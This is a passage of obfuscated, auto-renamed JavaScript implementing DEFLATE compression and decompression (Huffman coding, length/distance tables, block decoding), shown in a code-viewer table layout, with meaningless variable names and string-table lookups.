| for (; i < loglevel; ++i) { | |
| extend(model + "." + (p = s[i]), obj[p]); | |
| } | |
| } | |
| var undefined = void 0; | |
| /** @type {boolean} */ | |
| var c = true; | |
| var window2 = this; | |
| /** @type {boolean} */ | |
| var USE_TYPEDARRAY = _0x56c7("0x34") != typeof Uint8Array && _0x56c7("0x34") != typeof Uint16Array && _0x56c7("0x34") != typeof Uint32Array && _0x56c7("0x34") != typeof DataView; | |
| /** | |
| * @return {?} | |
| */ | |
| set[_0x56c7("0x2d")]["f"] = function() { | |
| var i; | |
| var val = this[_0x56c7("0x33")]; | |
| var il = val[_0x56c7("0x29")]; | |
| var data = new (USE_TYPEDARRAY ? Uint8Array : Array)(il << 1); | |
| if (USE_TYPEDARRAY) { | |
| data["set"](val); | |
| } else { | |
| /** @type {number} */ | |
| i = 0; | |
| for (; i < il; ++i) { | |
| data[i] = val[i]; | |
| } | |
| } | |
| return this[_0x56c7("0x33")] = data; | |
| }; | |
| /** | |
| * @param {number} b | |
| * @param {number} frames_per_block | |
| * @param {boolean} errorText | |
| * @return {undefined} | |
| */ | |
| set[_0x56c7("0x2d")]["d"] = function(b, frames_per_block, errorText) { | |
| var audio_data_index; | |
| var ret = this["buffer"]; | |
| var j = this[_0x56c7("0x17")]; | |
| var tDst = this["i"]; | |
| var a = ret[j]; | |
| if (errorText && 1 < frames_per_block && (b = 8 < frames_per_block ? (r[255 & b] << 24 | r[b >>> 8 & 255] << 16 | r[b >>> 16 & 255] << 8 | r[b >>> 24 & 255]) >> 32 - frames_per_block : r[b] >> 8 - frames_per_block), 8 > frames_per_block + tDst) { | |
| /** @type {number} */ | |
| a = a << frames_per_block | b; | |
| tDst = tDst + frames_per_block; | |
| } else { | |
| /** @type {number} */ | |
| audio_data_index = 0; | |
| for (; audio_data_index < frames_per_block; ++audio_data_index) { | |
| /** @type {number} */ | |
| a = a << 1 | b >> frames_per_block - audio_data_index - 1 & 1; | |
| if (8 == ++tDst) { | |
| /** @type {number} */ | |
| tDst = 0; | |
| ret[j++] = r[a]; | |
| /** @type {number} */ | |
| a = 0; | |
| if (j === ret[_0x56c7("0x29")]) { | |
| ret = this["f"](); | |
| } | |
| } | |
| } | |
| } | |
| ret[j] = a; | |
| this[_0x56c7("0x33")] = ret; | |
| this["i"] = tDst; | |
| this[_0x56c7("0x17")] = j; | |
| }; | |
| /** | |
| * @return {?} | |
| */ | |
| set[_0x56c7("0x2d")][_0x56c7("0x1f")] = function() { | |
| var result; | |
| var a = this[_0x56c7("0x33")]; | |
| var key = this[_0x56c7("0x17")]; | |
| return 0 < this["i"] && (a[key] <<= 8 - this["i"], a[key] = r[a[key]], key++), USE_TYPEDARRAY ? result = a[_0x56c7("0x11")](0, key) : (a["length"] = key, result = a), result; | |
| }; | |
| var trait; | |
| var traitsChosen = new (USE_TYPEDARRAY ? Uint8Array : Array)(256); | |
| /** @type {number} */ | |
| trait = 0; | |
| for (; 256 > trait; ++trait) { | |
| /** @type {number} */ | |
| var c = a = trait; | |
| /** @type {number} */ | |
| var s = 7; | |
| /** @type {number} */ | |
| var a = a >>> 1; | |
| for (; a; a = a >>> 1) { | |
| /** @type {number} */ | |
| c = c << 1; | |
| /** @type {number} */ | |
| c = c | 1 & a; | |
| --s; | |
| } | |
| /** @type {number} */ | |
| traitsChosen[trait] = (c << s & 255) >>> 0; | |
| } | |
| var r = traitsChosen; | |
| /** | |
| * @param {number} canCreateDiscussions | |
| * @return {?} | |
| */ | |
| Renderer["prototype"][_0x56c7("0x3f")] = function(canCreateDiscussions) { | |
| return 2 * ((canCreateDiscussions - 2) / 4 | 0); | |
| }; | |
| /** | |
| * @param {?} cur | |
| * @param {?} tmp | |
| * @return {?} | |
| */ | |
| Renderer[_0x56c7("0x2d")][_0x56c7("0x42")] = function(cur, tmp) { | |
| var i; | |
| var j; | |
| var temp; | |
| var nums = this[_0x56c7("0x33")]; | |
| i = this[_0x56c7("0x29")]; | |
| nums[this[_0x56c7("0x29")]++] = tmp; | |
| nums[this[_0x56c7("0x29")]++] = cur; | |
| for (; 0 < i && (j = this[_0x56c7("0x3f")](i), nums[i] > nums[j]);) { | |
| temp = nums[i]; | |
| nums[i] = nums[j]; | |
| nums[j] = temp; | |
| temp = nums[i + 1]; | |
| nums[i + 1] = nums[j + 1]; | |
| nums[j + 1] = temp; | |
| i = j; | |
| } | |
| return this["length"]; | |
| }; | |
| /** | |
| * @return {?} | |
| */ | |
| Renderer["prototype"][_0x56c7("0x3")] = function() { | |
| var c; | |
| var timeString; | |
| var temp; | |
| var i; | |
| var j; | |
| var array = this[_0x56c7("0x33")]; | |
| timeString = array[0]; | |
| c = array[1]; | |
| this[_0x56c7("0x29")] -= 2; | |
| array[0] = array[this[_0x56c7("0x29")]]; | |
| array[1] = array[this[_0x56c7("0x29")] + 1]; | |
| /** @type {number} */ | |
| j = 0; | |
| for (; !((i = 2 * j + 2) >= this[_0x56c7("0x29")]) && (i + 2 < this["length"] && array[i + 2] > array[i] && (i = i + 2), array[i] > array[j]);) { | |
| temp = array[j]; | |
| array[j] = array[i]; | |
| array[i] = temp; | |
| temp = array[j + 1]; | |
| array[j + 1] = array[i + 1]; | |
| array[i + 1] = temp; | |
| /** @type {number} */ | |
| j = i; | |
| } | |
| return { | |
| index : c, | |
| value : timeString, | |
| length : this["length"] | |
| }; | |
| }; | |
| var err; | |
| /** @type {number} */ | |
| var node = 2; | |
| var obj = { | |
| NONE : 0, | |
| r : 1, | |
| k : node, | |
| N : 3 | |
| }; | |
| /** @type {!Array} */ | |
| var deletedHashes = []; | |
| /** @type {number} */ | |
| err = 0; | |
| for (; 288 > err; err++) { | |
| switch(true) { | |
| case 143 >= err: | |
| deletedHashes[_0x56c7("0x42")]([err + 48, 8]); | |
| break; | |
| case 255 >= err: | |
| deletedHashes[_0x56c7("0x42")]([err - 144 + 400, 9]); | |
| break; | |
| case 279 >= err: | |
| deletedHashes[_0x56c7("0x42")]([err - 256 + 0, 7]); | |
| break; | |
| case 287 >= err: | |
| deletedHashes[_0x56c7("0x42")]([err - 280 + 192, 8]); | |
| break; | |
| default: | |
| callback("invalid literal: " + err); | |
| } | |
| } | |
| /** | |
| * @return {?} | |
| */ | |
| val["prototype"]["j"] = function() { | |
| var tagsWithShortcuts; | |
| var a; | |
| var offset; | |
| var len; | |
| var args = this[_0x56c7("0x23")]; | |
| switch(this["h"]) { | |
| case 0: | |
| /** @type {number} */ | |
| offset = 0; | |
| len = args["length"]; | |
| for (; offset < len;) { | |
| var v; | |
| var notifData; | |
| var _0x243587; | |
| var data = a = USE_TYPEDARRAY ? args[_0x56c7("0x11")](offset, offset + 65535) : args[_0x56c7("0x26")](offset, offset + 65535); | |
| /** @type {boolean} */ | |
| var r = (offset = offset + a["length"]) === len; | |
| var index = undefined; | |
| var statePointOverride = undefined; | |
| var arr = this["a"]; | |
| var i = this["b"]; | |
| if (USE_TYPEDARRAY) { | |
| /** @type {!Uint8Array} */ | |
| arr = new Uint8Array(this["a"]["buffer"]); | |
| for (; arr[_0x56c7("0x29")] <= i + data[_0x56c7("0x29")] + 5;) { | |
| /** @type {!Uint8Array} */ | |
| arr = new Uint8Array(arr[_0x56c7("0x29")] << 1); | |
| } | |
| arr[_0x56c7("0x4")](this["a"]); | |
| } | |
| if (v = r ? 1 : 0, arr[i++] = 0 | v, _0x243587 = 65536 + ~(notifData = data[_0x56c7("0x29")]) & 65535, arr[i++] = 255 & notifData, arr[i++] = notifData >>> 8 & 255, arr[i++] = 255 & _0x243587, arr[i++] = _0x243587 >>> 8 & 255, USE_TYPEDARRAY) { | |
| arr[_0x56c7("0x4")](data, i); | |
| i = i + data[_0x56c7("0x29")]; | |
| arr = arr[_0x56c7("0x11")](0, i); | |
| } else { | |
| /** @type {number} */ | |
| index = 0; | |
| statePointOverride = data[_0x56c7("0x29")]; | |
| for (; index < statePointOverride; ++index) { | |
| arr[i++] = data[index]; | |
| } | |
| arr[_0x56c7("0x29")] = i; | |
| } | |
| this["b"] = i; | |
| this["a"] = arr; | |
| } | |
| break; | |
| case 1: | |
| var options = new set(USE_TYPEDARRAY ? new Uint8Array(this["a"][_0x56c7("0x33")]) : this["a"], this["b"]); | |
| options["d"](1, 1, c); | |
| options["d"](1, 2, c); | |
| var key; | |
| var result; | |
| var hash; | |
| var a = parse(this, args); | |
| /** @type {number} */ | |
| key = 0; | |
| result = a["length"]; | |
| for (; key < result; key++) { | |
| if (hash = a[key], set[_0x56c7("0x2d")]["d"]["apply"](options, deletedHashes[hash]), 256 < hash) { | |
| options["d"](a[++key], a[++key], c); | |
| options["d"](a[++key], 5); | |
| options["d"](a[++key], a[++key], c); | |
| } else { | |
| if (256 === hash) { | |
| break; | |
| } | |
| } | |
| } | |
| this["a"] = options["finish"](); | |
| this["b"] = this["a"][_0x56c7("0x29")]; | |
| break; | |
| case node: | |
| var event; | |
| var data; | |
| var numInThreshold; | |
| var _emojiPending; | |
| var num; | |
| var values; | |
| var ngAnimateConsumable; | |
| var v; | |
| var qParameters; | |
| var obj; | |
| var opts; | |
| var e; | |
| var indentString; | |
| var i; | |
| var tagOrShortcut; | |
| var item = new set(USE_TYPEDARRAY ? new Uint8Array(this["a"]["buffer"]) : this["a"], this["b"]); | |
| /** @type {!Array} */ | |
| var prev = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15]; | |
| /** @type {!Array} */ | |
| var all = Array(19); | |
| /** @type {number} */ | |
| event = node; | |
| item["d"](1, 1, c); | |
| item["d"](event, 2, c); | |
| data = parse(this, args); | |
| ngAnimateConsumable = merge(values = factory(this["L"], 15)); | |
| qParameters = merge(v = factory(this["K"], 7)); | |
| /** @type {number} */ | |
| numInThreshold = 286; | |
| for (; 257 < numInThreshold && 0 === values[numInThreshold - 1]; numInThreshold--) { | |
| } | |
| /** @type {number} */ | |
| _emojiPending = 30; | |
| for (; 1 < _emojiPending && 0 === v[_emojiPending - 1]; _emojiPending--) { | |
| } | |
| var j; | |
| var n; | |
| var regExBonusMultiplier; | |
| var length; | |
| var end; | |
| var CommentMatchPenalty; | |
| /** @type {number} */ | |
| var hlit = numInThreshold; | |
| /** @type {number} */ | |
| var hdist = _emojiPending; | |
| var array = new (USE_TYPEDARRAY ? Uint32Array : Array)(hlit + hdist); | |
| var buffer = new (USE_TYPEDARRAY ? Uint32Array : Array)(316); | |
| var props = new (USE_TYPEDARRAY ? Uint8Array : Array)(19); | |
| /** @type {number} */ | |
| j = n = 0; | |
| for (; j < hlit; j++) { | |
| array[n++] = values[j]; | |
| } | |
| /** @type {number} */ | |
| j = 0; | |
| for (; j < hdist; j++) { | |
| array[n++] = v[j]; | |
| } | |
| if (!USE_TYPEDARRAY) { | |
| /** @type {number} */ | |
| j = 0; | |
| length = props["length"]; | |
| for (; j < length; ++j) { | |
| /** @type {number} */ | |
| props[j] = 0; | |
| } | |
| } | |
| /** @type {number} */ | |
| j = end = 0; | |
| length = array[_0x56c7("0x29")]; | |
| for (; j < length; j = j + n) { | |
| /** @type {number} */ | |
| n = 1; | |
| for (; j + n < length && array[j + n] === array[j]; ++n) { | |
| } | |
| if (regExBonusMultiplier = n, 0 === array[j]) { | |
| if (3 > regExBonusMultiplier) { | |
| for (; 0 < regExBonusMultiplier--;) { | |
| /** @type {number} */ | |
| buffer[end++] = 0; | |
| props[0]++; | |
| } | |
| } else { | |
| for (; 0 < regExBonusMultiplier;) { | |
| if ((CommentMatchPenalty = 138 > regExBonusMultiplier ? regExBonusMultiplier : 138) > regExBonusMultiplier - 3 && CommentMatchPenalty < regExBonusMultiplier) { | |
| /** @type {number} */ | |
| CommentMatchPenalty = regExBonusMultiplier - 3; | |
| } | |
| if (10 >= CommentMatchPenalty) { | |
| /** @type {number} */ | |
| buffer[end++] = 17; | |
| /** @type {number} */ | |
| buffer[end++] = CommentMatchPenalty - 3; | |
| props[17]++; | |
| } else { | |
| /** @type {number} */ | |
| buffer[end++] = 18; | |
| /** @type {number} */ | |
| buffer[end++] = CommentMatchPenalty - 11; | |
| props[18]++; | |
| } | |
| /** @type {number} */ | |
| regExBonusMultiplier = regExBonusMultiplier - CommentMatchPenalty; | |
| } | |
| } | |
| } else { | |
| if (buffer[end++] = array[j], props[array[j]]++, 3 > --regExBonusMultiplier) { | |
| for (; 0 < regExBonusMultiplier--;) { | |
| buffer[end++] = array[j]; | |
| props[array[j]]++; | |
| } | |
| } else { | |
| for (; 0 < regExBonusMultiplier;) { | |
| if ((CommentMatchPenalty = 6 > regExBonusMultiplier ? regExBonusMultiplier : 6) > regExBonusMultiplier - 3 && CommentMatchPenalty < regExBonusMultiplier) { | |
| /** @type {number} */ | |
| CommentMatchPenalty = regExBonusMultiplier - 3; | |
| } | |
| /** @type {number} */ | |
| buffer[end++] = 16; | |
| /** @type {number} */ | |
| buffer[end++] = CommentMatchPenalty - 3; | |
| props[16]++; | |
| /** @type {number} */ | |
| regExBonusMultiplier = regExBonusMultiplier - CommentMatchPenalty; | |
| } | |
| } | |
| } | |
| } | |
| tagsWithShortcuts = USE_TYPEDARRAY ? buffer[_0x56c7("0x11")](0, end) : buffer["slice"](0, end); | |
| obj = factory(props, 7); | |
| /** @type {number} */ | |
| i = 0; | |
| for (; 19 > i; i++) { | |
| all[i] = obj[prev[i]]; | |
| } | |
| /** @type {number} */ | |
| num = 19; | |
| for (; 4 < num && 0 === all[num - 1]; num--) { | |
| } | |
| opts = merge(obj); | |
| item["d"](numInThreshold - 257, 5, c); | |
| item["d"](_emojiPending - 1, 5, c); | |
| item["d"](num - 4, 4, c); | |
| /** @type {number} */ | |
| i = 0; | |
| for (; i < num; i++) { | |
| item["d"](all[i], 3, c); | |
| } | |
| /** @type {number} */ | |
| i = 0; | |
| tagOrShortcut = tagsWithShortcuts[_0x56c7("0x29")]; | |
| for (; i < tagOrShortcut; i++) { | |
| if (e = tagsWithShortcuts[i], item["d"](opts[e], obj[e], c), 16 <= e) { | |
| switch(i++, e) { | |
| case 16: | |
| /** @type {number} */ | |
| indentString = 2; | |
| break; | |
| case 17: | |
| /** @type {number} */ | |
| indentString = 3; | |
| break; | |
| case 18: | |
| /** @type {number} */ | |
| indentString = 7; | |
| break; | |
| default: | |
| callback(_0x56c7("0x44") + e); | |
| } | |
| item["d"](tagsWithShortcuts[i], indentString, c); | |
| } | |
| } | |
| var index; | |
| var filter_error; | |
| var argument; | |
| var kprop; | |
| var results; | |
| var value; | |
| var property; | |
| var localVarCurr; | |
| /** @type {!Array} */ | |
| var cache = [ngAnimateConsumable, values]; | |
| /** @type {!Array} */ | |
| var equationStringSplit = [qParameters, v]; | |
| results = cache[0]; | |
| value = cache[1]; | |
| property = equationStringSplit[0]; | |
| localVarCurr = equationStringSplit[1]; | |
| /** @type {number} */ | |
| index = 0; | |
| filter_error = data[_0x56c7("0x29")]; | |
| for (; index < filter_error; ++index) { | |
| if (argument = data[index], item["d"](results[argument], value[argument], c), 256 < argument) { | |
| item["d"](data[++index], data[++index], c); | |
| kprop = data[++index]; | |
| item["d"](property[kprop], localVarCurr[kprop], c); | |
| item["d"](data[++index], data[++index], c); | |
| } else { | |
| if (256 === argument) { | |
| break; | |
| } | |
| } | |
| } | |
| this["a"] = item[_0x56c7("0x1f")](); | |
| this["b"] = this["a"][_0x56c7("0x29")]; | |
| break; | |
| default: | |
| callback(_0x56c7("0x13")); | |
| } | |
| return this["a"]; | |
| }; | |
| var key = function() { | |
| /** | |
| * @param {number} type | |
| * @return {?} | |
| */ | |
| function lint(type) { | |
| switch(true) { | |
| case 3 === type: | |
| return [257, type - 3, 0]; | |
| case 4 === type: | |
| return [258, type - 4, 0]; | |
| case 5 === type: | |
| return [259, type - 5, 0]; | |
| case 6 === type: | |
| return [260, type - 6, 0]; | |
| case 7 === type: | |
| return [261, type - 7, 0]; | |
| case 8 === type: | |
| return [262, type - 8, 0]; | |
| case 9 === type: | |
| return [263, type - 9, 0]; | |
| case 10 === type: | |
| return [264, type - 10, 0]; | |
| case 12 >= type: | |
| return [265, type - 11, 1]; | |
| case 14 >= type: | |
| return [266, type - 13, 1]; | |
| case 16 >= type: | |
| return [267, type - 15, 1]; | |
| case 18 >= type: | |
| return [268, type - 17, 1]; | |
| case 22 >= type: | |
| return [269, type - 19, 2]; | |
| case 26 >= type: | |
| return [270, type - 23, 2]; | |
| case 30 >= type: | |
| return [271, type - 27, 2]; | |
| case 34 >= type: | |
| return [272, type - 31, 2]; | |
| case 42 >= type: | |
| return [273, type - 35, 3]; | |
| case 50 >= type: | |
| return [274, type - 43, 3]; | |
| case 58 >= type: | |
| return [275, type - 51, 3]; | |
| case 66 >= type: | |
| return [276, type - 59, 3]; | |
| case 82 >= type: | |
| return [277, type - 67, 4]; | |
| case 98 >= type: | |
| return [278, type - 83, 4]; | |
| case 114 >= type: | |
| return [279, type - 99, 4]; | |
| case 130 >= type: | |
| return [280, type - 115, 4]; | |
| case 162 >= type: | |
| return [281, type - 131, 5]; | |
| case 194 >= type: | |
| return [282, type - 163, 5]; | |
| case 226 >= type: | |
| return [283, type - 195, 5]; | |
| case 257 >= type: | |
| return [284, type - 227, 5]; | |
| case 258 === type: | |
| return [285, type - 258, 0]; | |
| default: | |
| callback(_0x56c7("0x41") + type); | |
| } | |
| } | |
| var value; | |
| var err; | |
| /** @type {!Array} */ | |
| var OPERATION_ICONS = []; | |
| /** @type {number} */ | |
| value = 3; | |
| for (; 258 >= value; value++) { | |
| err = lint(value); | |
| /** @type {number} */ | |
| OPERATION_ICONS[value] = err[2] << 24 | err[1] << 16 | err[0]; | |
| } | |
| return OPERATION_ICONS; | |
| }(); | |
| var newPath = USE_TYPEDARRAY ? new Uint32Array(key) : key; | |
| /** @type {number} */ | |
| var NUMBER = 0; | |
| /** @type {number} */ | |
| var content = 1; | |
| var map = { | |
| D : NUMBER, | |
| C : content | |
| }; | |
| /** | |
| * @return {?} | |
| */ | |
| createConfig[_0x56c7("0x2d")]["p"] = function() { | |
| for (; !this["s"];) { | |
| var size = render(this, 3); | |
| switch(1 & size && (this["s"] = c), size = size >>> 1) { | |
| case 0: | |
| var self = this[_0x56c7("0x23")]; | |
| var i = this["c"]; | |
| var data = this["a"]; | |
| var position = this["b"]; | |
| var origMenu = self[_0x56c7("0x29")]; | |
| var count = undefined; | |
| var pos = data[_0x56c7("0x29")]; | |
| var len = undefined; | |
| switch(this["e"] = this["g"] = 0, i + 1 >= origMenu && callback(Error(_0x56c7("0x1b"))), count = self[i++] | self[i++] << 8, i + 1 >= origMenu && callback(Error("invalid uncompressed block header: NLEN")), count === ~(self[i++] | self[i++] << 8) && callback(Error("invalid uncompressed block header: length verify")), i + count > self[_0x56c7("0x29")] && callback(Error(_0x56c7("0x15"))), this["n"]) { | |
| case NUMBER: | |
| for (; position + count > data[_0x56c7("0x29")];) { | |
| if (count = count - (len = pos - position), USE_TYPEDARRAY) { | |
| data[_0x56c7("0x4")](self["subarray"](i, i + len), position); | |
| position = position + len; | |
| i = i + len; | |
| } else { | |
| for (; len--;) { | |
| data[position++] = self[i++]; | |
| } | |
| } | |
| this["b"] = position; | |
| data = this["f"](); | |
| position = this["b"]; | |
| } | |
| break; | |
| case content: | |
| for (; position + count > data[_0x56c7("0x29")];) { | |
| data = this["f"]({ | |
| v : 2 | |
| }); | |
| } | |
| break; | |
| default: | |
| callback(Error(_0x56c7("0x25"))); | |
| }if (USE_TYPEDARRAY) { | |
| data[_0x56c7("0x4")](self[_0x56c7("0x11")](i, i + count), position); | |
| position = position + count; | |
| i = i + count; | |
| } else { | |
| for (; count--;) { | |
| data[position++] = self[i++]; | |
| } | |
| } | |
| this["c"] = i; | |
| this["b"] = position; | |
| this["a"] = data; | |
| break; | |
| case 1: | |
| this["o"](file, context); | |
| break; | |
| case 2: | |
| var value; | |
| var path; | |
| var req; | |
| var il; | |
| var hlit = render(this, 5) + 257; | |
| var hdist = render(this, 5) + 1; | |
| var k = render(this, 4) + 4; | |
| var result = new (USE_TYPEDARRAY ? Uint8Array : Array)(filter[_0x56c7("0x29")]); | |
| var target = undefined; | |
| var x = undefined; | |
| var y = undefined; | |
| var intermediateNameDecl = undefined; | |
| var j = undefined; | |
| /** @type {number} */ | |
| j = 0; | |
| for (; j < k; ++j) { | |
| result[filter[j]] = render(this, 3); | |
| } | |
| if (!USE_TYPEDARRAY) { | |
| j = k; | |
| k = result[_0x56c7("0x29")]; | |
| for (; j < k; ++j) { | |
| /** @type {number} */ | |
| result[filter[j]] = 0; | |
| } | |
| } | |
| value = require(result); | |
| target = new (USE_TYPEDARRAY ? Uint8Array : Array)(hlit + hdist); | |
| /** @type {number} */ | |
| j = 0; | |
| il = hlit + hdist; | |
| for (; j < il;) { | |
| switch(x = resolve(this, value), x) { | |
| case 16: | |
| intermediateNameDecl = 3 + render(this, 2); | |
| for (; intermediateNameDecl--;) { | |
| target[j++] = y; | |
| } | |
| break; | |
| case 17: | |
| intermediateNameDecl = 3 + render(this, 3); | |
| for (; intermediateNameDecl--;) { | |
| /** @type {number} */ | |
| target[j++] = 0; | |
| } | |
| /** @type {number} */ | |
| y = 0; | |
| break; | |
| case 18: | |
| intermediateNameDecl = 11 + render(this, 7); | |
| for (; intermediateNameDecl--;) { | |
| /** @type {number} */ | |
| target[j++] = 0; | |
| } | |
| /** @type {number} */ | |
| y = 0; | |
| break; | |
| default: | |
| y = target[j++] = x; | |
| } | |
| } | |
| path = require(USE_TYPEDARRAY ? target[_0x56c7("0x11")](0, hlit) : target[_0x56c7("0x26")](0, hlit)); | |
| req = require(USE_TYPEDARRAY ? target[_0x56c7("0x11")](hlit) : target[_0x56c7("0x26")](hlit)); | |
| this["o"](path, req); | |
| break; | |
| default: | |
| callback(Error(_0x56c7("0xd") + size)); | |
| } | |
| } | |
| return this["t"](); | |
| }; | |
| var assertionType; | |
| var dataWorkedMinutes; | |
| /** @type {!Array} */ | |
| var table = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15]; | |
| /** @type {(Array|Uint16Array)} */ | |
| var filter = USE_TYPEDARRAY ? new Uint16Array(table) : table; | |
| /** @type {!Array} */ | |
| var linkIndices = [3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 258, 258]; | |
| /** @type {(Array|Uint16Array)} */ | |
| var defs = USE_TYPEDARRAY ? new Uint16Array(linkIndices) : linkIndices; | |
| /** @type {!Array} */ | |
| var outputByteCount = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 0, 0]; | |
| /** @type {(Array|Uint8Array)} */ | |
| var signedTransactions = USE_TYPEDARRAY ? new Uint8Array(outputByteCount) : outputByteCount; | |
| /** @type {!Array} */ | |
| var rawData = [1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577]; | |
| /** @type {(Array|Uint16Array)} */ | |
| var data = USE_TYPEDARRAY ? new Uint16Array(rawData) : rawData; | |
| /** @type {!Array} */ | |
| var input = [0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13]; | |
| /** @type {(Array|Uint8Array)} */ | |
| var handle = USE_TYPEDARRAY ? new Uint8Array(input) : input; | |
| var value = new (USE_TYPEDARRAY ? Uint8Array : Array)(288); | |
| /** @type {number} */ | |
| assertionType = 0; | |
| dataWorkedMinutes = value[_0x56c7("0x29")]; | |
| for (; assertionType < dataWorkedMinutes; ++assertionType) { | |
| /** @type {number} */ | |
| value[assertionType] = 143 >= assertionType ? 8 : 255 >= assertionType ? 9 : 279 >= assertionType ? 7 : 8; | |
| } | |
| var iNext2; | |
| var currentPath; | |
| var file = require(value); | |
| var path = new (USE_TYPEDARRAY ? Uint8Array : Array)(30); | |
| /** @type {number} */ | |
| iNext2 = 0; | |
| currentPath = path[_0x56c7("0x29")]; | |
| for (; iNext2 < currentPath; ++iNext2) { | |
| /** @type {number} */ | |
| path[iNext2] = 5; | |
| } | |
| var context = require(path); | |
| /** | |
| * @param {!Object} u | |
| * @param {!Object} y | |
| * @return {undefined} | |
| */ | |
| createConfig[_0x56c7("0x2d")]["o"] = function(u, y) { | |
| var i = this["a"]; | |
| var c = this["b"]; | |
| /** @type {!Object} */ | |
| this["u"] = u; | |
| var x; | |
| var signedTransactionsCounter; | |
| var temp; | |
| var base; | |
| /** @type {number} */ | |
| var delta = i[_0x56c7("0x29")] - 258; | |
| for (; 256 !== (x = resolve(this, u));) { | |
| if (256 > x) { | |
| if (c >= delta) { | |
| this["b"] = c; | |
| i = this["f"](); | |
| c = this["b"]; | |
| } | |
| i[c++] = x; | |
| } else { | |
| base = defs[signedTransactionsCounter = x - 257]; | |
| if (0 < signedTransactions[signedTransactionsCounter]) { | |
| base = base + render(this, signedTransactions[signedTransactionsCounter]); | |
| } | |
| x = resolve(this, y); | |
| temp = data[x]; | |
| if (0 < handle[x]) { | |
| temp = temp + render(this, handle[x]); | |
| } | |
| if (c >= delta) { | |
| this["b"] = c; | |
| i = this["f"](); | |
| c = this["b"]; | |
| } | |
| for (; base--;) { | |
| i[c] = i[c++ - temp]; | |
| } | |
| } | |
| } | |
| for (; 8 <= this["e"];) { | |
| this["e"] -= 8; | |
| this["c"]--; | |
| } | |
| this["b"] = c; | |
| }; | |
| /** | |
| * @param {!Object} u | |
| * @param {!Object} y | |
| * @return {undefined} | |
| */ | |
| createConfig[_0x56c7("0x2d")]["I"] = function(u, y) { | |
| var obj = this["a"]; | |
| var i = this["b"]; | |
| /** @type {!Object} */ | |
| this["u"] = u; | |
| var x; | |
| var signedTransactionsCounter; | |
| var temp; | |
| var base; | |
| var n = obj[_0x56c7("0x29")]; | |
| for (; 256 !== (x = resolve(this, u));) { | |
| if (256 > x) { | |
| if (i >= n) { | |
| n = (obj = this["f"]())[_0x56c7("0x29")]; | |
| } | |
| obj[i++] = x; | |
| } else { | |
| base = defs[signedTransactionsCounter = x - 257]; | |
| if (0 < signedTransactions[signedTransactionsCounter]) { | |
| base = base + render(this, signedTransactions[signedTransactionsCounter]); | |
| } | |
| x = resolve(this, y); | |
| temp = data[x]; | |
| if (0 < handle[x]) { | |
| temp = temp + render(this, handle[x]); | |
| } | |
| if (i + base > n) { | |
| n = (obj = this["f"]())[_0x56c7("0x29")]; | |
| } | |
| for (; base--;) { | |
| obj[i] = obj[i++ - temp]; | |
| } | |
| } | |
| } | |
| for (; 8 <= this["e"];) { | |
| this["e"] -= 8; | |
| this["c"]--; | |
| } | |
| this["b"] = i; | |
| }; | |
| /** | |
| * @return {?} | |
| */ | |
| createConfig[_0x56c7("0x2d")]["f"] = function() { | |
| var i; | |
| var key; | |
| var r = new (USE_TYPEDARRAY ? Uint8Array : Array)(this["b"] - 32768); | |
| /** @type {number} */ | |
| var response = this["b"] - 32768; | |
| var args = this["a"]; | |
| if (USE_TYPEDARRAY) { | |
| r[_0x56c7("0x4")](args[_0x56c7("0x11")](32768, r[_0x56c7("0x29")])); | |
| } else { | |
| /** @type {number} */ | |
| i = 0; | |
| key = r["length"]; | |
| for (; i < key; ++i) { | |
| r[i] = args[i + 32768]; | |
| } | |
| } | |
| if (this["l"]["push"](r), this["q"] += r[_0x56c7("0x29")], USE_TYPEDARRAY) { | |
| args[_0x56c7("0x4")](args["subarray"](response, response + 32768)); | |
| } else { | |
| /** @type {number} */ | |
| i = 0; | |
| for (; 32768 > i; ++i) { | |
| args[i] = args[response + i]; | |
| } | |
| } | |
| return this["b"] = 32768, args; | |
| }; | |
| /** | |
| * @param {!Object} d | |
| * @return {?} | |
| */ | |
| createConfig["prototype"]["J"] = function(d) { | |
| var v; | |
| var b1; | |
| var distance; | |
| /** @type {number} */ | |
| var value = this[_0x56c7("0x23")]["length"] / this["c"] + 1 | 0; | |
| var indexMap = this[_0x56c7("0x23")]; | |
| var start = this["a"]; | |
| return d && (_0x56c7("0x30") == typeof d["v"] && (value = d["v"]), "number" == typeof d["F"] && (value = value + d["F"])), 2 > value ? b1 = (distance = (indexMap[_0x56c7("0x29")] - this["c"]) / this["u"][2] / 2 * 258 | 0) < start[_0x56c7("0x29")] ? start[_0x56c7("0x29")] + distance : start[_0x56c7("0x29")] << 1 : b1 = start[_0x56c7("0x29")] * value, USE_TYPEDARRAY ? (v = new Uint8Array(b1))[_0x56c7("0x4")](start) : v = start, this["a"] = v; | |
| }; | |
| /** | |
| * @return {?} | |
| */ | |
| createConfig[_0x56c7("0x2d")]["t"] = function() { | |
| var options; | |
| var i; | |
| var max; | |
| var name; | |
| var targetName; | |
| /** @type {number} */ | |
| var j = 0; | |
| var s1 = this["a"]; | |
| var data = this["l"]; | |
| var result = new (USE_TYPEDARRAY ? Uint8Array : Array)(this["q"] + (this["b"] - 32768)); | |
| if (0 === data[_0x56c7("0x29")]) { | |
| return USE_TYPEDARRAY ? this["a"]["subarray"](32768, this["b"]) : this["a"][_0x56c7("0x26")](32768, this["b"]); | |
| } | |
| /** @type {number} */ | |
| i = 0; | |
| max = data[_0x56c7("0x29")]; | |
| for (; i < max; ++i) { | |
| /** @type {number} */ | |
| name = 0; | |
| targetName = (options = data[i])[_0x56c7("0x29")]; | |
| for (; name < targetName; ++name) { | |
| result[j++] = options[name]; | |
| } | |
| } | |
| /** @type {number} */ | |
| i = 32768; | |
| max = this["b"]; | |
| for (; i < max; ++i) { | |
| result[j++] = s1[i]; | |
| } | |
